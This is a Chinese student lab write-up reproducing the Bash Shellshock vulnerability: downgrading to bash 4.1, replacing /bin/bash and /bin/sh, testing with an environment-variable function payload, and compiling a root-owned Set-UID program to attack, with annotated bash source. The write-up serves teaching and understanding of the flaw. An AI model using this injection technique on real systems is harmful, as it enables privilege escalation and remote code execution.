实验背景

2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。在本实验中,学生需要亲手重现攻击来理解该漏洞,并回答一些问题。

什么是ShellShock

Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。

环境搭建

由于4.2版本以上,该漏洞已经被堵上了,因此要以root权限安装4.1版bash()

实验楼中提供的bash4.1的地址:http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

下载

  1. $ sudo su
  2. $ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

安装

  1. $ tar xf bash-4.1.tar.gz
  2. $ cd bash-4.1
  3. $ ./configure #这一步过程比较长,请等待一会
  4. $ make && make install



链接

  1. $ rm /bin/bash
  2. $ ln -s /usr/local/bin/bash /bin/bash

到这里环境就安装完了,接下来检测是否存在shellshock漏洞。

测试

  1. $ exit
  2. $ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"

输出vulnerable的话,说明bash有漏洞。

最后,让/bin/sh 指向/bin/bash.

  1. $ sudo ln -sf /bin/bash /bin/sh

现在一切就绪,进入下一步吧。

测试

1.预备知识

  • 了解bash自定义函数,只需要函数名就能够调用该函数。
  1. $ foo() { echo lichen20199312; }
  2. $ foo
  3. > lichen20199312

  • 这个时候的Bash的环境变量:
  1. KEY = foo
  2. VALUE = () { echo lichen20199312; }

来看看ShellShock漏洞的真身:

  1. export foo='() { :; }; echo Hello lichen12'
  2. bash
  3. >Hello lichen12

为什么调用bash的时候输出Hello lichen12了呢?瞧瞧他内部的情况:

  1. KEY = foo
  2. VALUE = () { :; }; echo Hello lichen12

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。

正式实验

本实验中,我们通过攻击Set-UID程序来获得root权限。

我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用,你能够利用shellshock漏洞来获取权限么? 首先,确保安装了带有漏洞的bash版本,并让/bin/sh 指向/bin/bash.

  1. $ sudo ln -sf /bin/bash /bin/sh

在 /home/shiyanlou 目录下新建一个 shock12.c 文件:

  1. $ vi shock12.c

按 I 键切换到插入模式,再输入如下内容:

  1. #include <stdio.h>
  2. void main()
  3. {
  4. setuid(geteuid()); // make real uid = effective uid.
  5. system("/bin/ls -l");
  6. }

编译这段代码,并设置其为Set-UID程序,保证它的所有者是root。

  1. $ sudo su
  2. $ gcc -o shock shock12.c
  3. $ chmod u+s shock

我们注意到这里使用了setuid(geteuid()) 来使real uid = effective uid,这在Set-UID程序中不是普遍现象,但它确实有时会发生。 先自己试着hack一下:) 以下是hack过程:

如果 setuid(geteuid()) 语句被去掉了,再试试看攻击,我们还能够拿到权限么?

  1. #include <stdio.h>
  2. void main()
  3. {
  4. system("/bin/ls -l");
  5. }
  1. $ sudo su
  2. $ gcc -o shock1 shock12.c
  3. $ chmod u+s shock1
  4. $ ls -il shock1
  5. $ exit
  6. $ ./shock1

失败了!这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了。

variables.c部分代码

  1. /* Initialize the shell variables from the current environment.
  2. If PRIVMODE is nonzero, don't import functions from ENV or
  3. parse $SHELLOPTS. */
  4. void
  5. initialize_shell_variables (env, privmode)
  6. char **env;
  7. int privmode;
  8. {
  9. char *name, *string, *temp_string;
  10. int c, char_index, string_index, string_length;
  11. SHELL_VAR *temp_var;
  12. create_variable_tables ();
  13. for (string_index = 0; string = env[string_index++]; )
  14. {
  15. char_index = 0;
  16. name = string;
  17. while ((c = *string++) && c != '=')
  18. ;
  19. if (string[-1] == '=')
  20. char_index = string - name - 1;
  21. /* If there are weird things in the environment, like `=xxx' or a
  22. string without an `=', just skip them. */
  23. if (char_index == 0)
  24. continue;
  25. /* ASSERT(name[char_index] == '=') */
  26. name[char_index] = '\0';
  27. /* Now, name = env variable name, string = env variable value, and
  28. char_index == strlen (name) */
  29. temp_var = (SHELL_VAR *)NULL;
  30. /* If exported function, define it now. Don't import functions from
  31. the environment in privileged mode. */
  32. if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
  33. {
  34. string_length = strlen (string);
  35. temp_string = (char *)xmalloc (3 + string_length + char_index);
  36. strcpy (temp_string, name);
  37. temp_string[char_index] = ' ';
  38. strcpy (temp_string + char_index + 1, string);
  39. parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
  40. /* Ancient backwards compatibility. Old versions of bash exported
  41. functions like name()=() {...} */
  42. if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
  43. name[char_index - 2] = '\0';
  44. if (temp_var = find_function (name))
  45. {
  46. VSETATTR (temp_var, (att_exported|att_imported));
  47. array_needs_making = 1;
  48. }
  49. else
  50. report_error (_("error importing function definition for `%s'"), name);
  51. /* ( */
  52. if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
  53. name[char_index - 2] = '('; /* ) */
  54. }

摘出其中关键部分并简化

  1. void initialize_shell_variables(){
  2. // 循环遍历所有环境变量
  3. for (string_index = 0; string = env[string_index++]; ) {
  4. /*...*/
  5. /* 如果有export过的函数, 在这里定义 */
  6. /* 无法导入在特权模式下(root下)定义的函数 */
  7. if (privmode == 0 && read_but_dont_execute == 0 &&
  8. STREQN (“() {“, string, 4)) {
  9. [...]
  10. // 这里是shellshock发生的地方
  11. // 传递函数定义 + 运行额外的指令
  12. parse_and_execute (temp_string, name,
  13. SEVAL_NONINT|SEVAL_NOHIST);
  14. [...]
  15. } }

就是上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。

感悟

该漏洞在于,Bash把函数体解析完了之后,去执行了函数定义后面的语句。原理十分简单危害却巨大无比。此类型的攻击方式频出关键在于bash在设计的时候对于环境变量的依赖,人们可以尝试着使用各种方式诱骗bash视其为命令。

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